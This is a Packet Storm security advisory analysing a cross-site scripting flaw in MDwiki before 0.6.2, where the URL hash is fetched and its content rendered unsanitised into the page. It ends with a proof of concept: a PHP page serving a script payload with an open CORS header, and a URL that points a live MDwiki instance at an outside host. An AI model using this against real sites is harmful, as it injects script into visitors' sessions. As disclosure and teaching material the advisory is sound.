exploit the possibilities

MDwiki Cross Site Scripting

MDwiki Cross Site Scripting
Posted Jan 9, 2019
Authored by Evi1m0

MDwiki versions prior to 0.6.2 suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 027a43af292c7cdc3d6004b803c18c0a

MDwiki Cross Site Scripting

Change Mirror Download
Originally thought that only a problem with Tencent's site implementation, the black brother reminded me to look at the Github address in the source code, only to find the open source [MDwiki](https://github.com/Dynalon/mdwiki) universal system. (MDwiki is a wiki/CMS system built entirely on HTML5/Javascript technology and runs entirely on the client. No special server software is required, just upload mdwiki.html to the directory where you store the markdown files.) The problem occurs when the program gets the location The .hash value (normally test.md) is parsed and the ajax request is dynamically added to the page.

## MDwiki.min.js

Decompressing the compressed JavaScript is easy to debug, and the confusion variable is temporarily ignored, n() :

```
function n() {
var b;
b = window.location.hash.substring(window.location.hash.startsWith("#!") ? 2 : 1), b = decodeURIComponent(b);
var c = b.indexOf("#"); - 1 !== c ? (a.md.inPageAnchor = b.substring(c + 1), a.md.mainHref = b.substring(0, c)) : a.md.mainHref = b
}
```

The variable b gets the value after location.hash #! and URLDecode , which is then assigned to a.md.mainHref .

## ajax getURL

```
var d = {
url: a.md.mainHref,
dataType: "text"
};
a.ajax(d).done(function (a) {
b = a, c()
}).fail(function () {
var b = a.md.getLogger();
b.fatal("Could not get " + a.md.mainHref), c()
})
```
The content will be requested by a.md.mainHref, and the b variable will be a:page content after completion.

```
var e = d(b);
a("#md-content").html(e), b = "";
var g = a.Deferred();
f(g), g.always(function () {
c()
})
```
e = d(b), b requires equal to Payload, chase d function:

```
function d(b) {
var c = {
gfm: !0,
tables: !0,
breaks: !0
};
"original" === a.md.config.lineBreaks ? c.breaks = !1 : "gfm" === a.md.config.lineBreaks && (c.breaks = !0), marked.setOptions(c);
var d = marked(b);
return d
}
```

The e value is dynamically added to #md-content after being rendered by the d function a> marked(b) function, causing a vulnerability.

## PoC
We can construct a page to write to Payload and set the ACCESS-CONTROL-ALLOW-ORIGIN header:

```
cat test/mdwiki.php
<?php

header("ACCESS-CONTROL-ALLOW-ORIGIN:*");
?>
<script>alert(location.href)</script>
```

eg: http://dynalon.github.io/mdwiki/mdwiki.html#!http://server.n0tr00t.com/test/mdwiki.php

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    1 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close